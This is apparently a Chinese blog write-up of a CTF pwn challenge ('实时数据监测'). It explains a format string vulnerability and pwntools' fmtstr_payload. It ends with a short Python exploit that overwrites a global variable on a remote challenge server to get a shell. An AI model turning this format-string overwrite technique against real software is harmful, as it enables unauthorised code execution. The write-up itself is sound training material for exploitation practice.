攻防世界-进阶区-实时数据监测

最新推荐文章于 2024-07-12 16:06:00 发布

续梦人

最新推荐文章于 2024-07-12 16:06:00 发布

阅读量2.9k

点赞数 1

分类专栏： pwn 文章标签：安全

本文链接：https://blog.csdn.net/CHAWUCIREN1/article/details/121664872

版权

pwn 专栏收录该内容

19 篇文章 1 订阅

订阅专栏

博客内容涉及了利用格式化字符串漏洞（fmtstr）来修改内存中的数据，特别是通过fmtstr_payload函数构造payload，将特定地址的值篡改为0x2223322，从而在Linux用户模式下实现getshell。示例代码展示了如何通过Python的pwn库与远程服务器交互并发送payload。

摘要由CSDN通过智能技术生成

在这里插入图片描述

将35795746换成十六进制0x2223322（按H）

根据函数，只需要令key等于0x2223322即可getshell
查看一下 imagemagic（）函数

存在格式化字符串漏洞
具体看wiki：https://ctf-wiki.org/pwn/linux/user-mode/fmtstr/fmtstr-intro/
了解到一个骚操作

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
第一个参数表示格式化字符串的偏移；
第二个参数表示需要利用%n写入的数据，采用字典形式，我们要将printf的GOT数据改为system函数地址，就写成{printfGOT: systemAddress}；本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数，这里没有，为0，采用默认值即可；
第四个参数表示写入方式，是按字节（byte）、按双字节（short）还是按四字节（int），对应着hhn、hn和n，默认值是byte，即按hhn写。
fmtstr_payload函数返回的就是payload

写一下exp

#usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
p = process("./9926c1a194794984978011fc619e3301")
p = remote('111.200.241.244',64340)
payload = fmtstr_payload(12,{0x804a048:0x02223322})
p.send(payload)
p.interactive()